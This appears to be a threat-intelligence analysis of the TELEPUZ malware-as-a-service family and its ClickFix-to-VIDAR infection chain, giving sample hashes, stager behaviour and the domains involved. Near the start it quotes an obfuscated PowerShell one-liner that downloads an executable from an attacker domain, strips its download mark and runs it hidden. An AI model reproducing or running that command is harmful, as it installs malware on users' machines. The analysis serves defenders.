TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains

The infection chain begins with a ClickFix social engineering infection, in which the user visits a malicious web page and is prompted to copy and paste, then execute, a Windows shell command to access the page's content. C:\WINDOWS\system32\WindowsPowerShell\v1. 0\PowerShell. exe" -NoP -w h -ep bypass -c \ "$h='memsho'+'wblob[. ]forum';$n='f322a5fa.

exe';$u='https://'+$h+'/api/index. php? a=grab';\ $f=$env:TEMP+'\'+$n;[Net. WebClient]::new(). ('Down'+'loadFile')($u,$f);\ ri($f+':Zone.

Identifier')-EA 0;& $f The command downloads the second stage from the URL hxxps://memshowblob[. ]forum/api/index. php? a=grab and executes the binary in the user's %TEMP% folder. The second stage is a VIDAR Go variant (580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954).

VIDAR is a well-documented threat known for its ability to download and deploy secondary payloads. In this campaign, we observed it downloading and executing two additional components: the TELEPUZ stager (install. exe) and the main binary (telepuz. dll), both of which were retrieved from the hurgadatour[. ]shop domain.

The telemetriawork part in the second-stage domain URL is a significant marker for this family; searching for this name on VirusTotal yields a large number of stagers and payloads associated with this family. The third stage (03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746) is a small PE, roughly 13–15 KB in size, designed to download and execute the main payload. After downloading the DLL, the stager installs it in the configured install folder and execute it using rundll32 with the specified export name. These stagers share the same obfuscation mechanism as the main payload, which we will analyze in the following chapter, effectively linking them to the same family.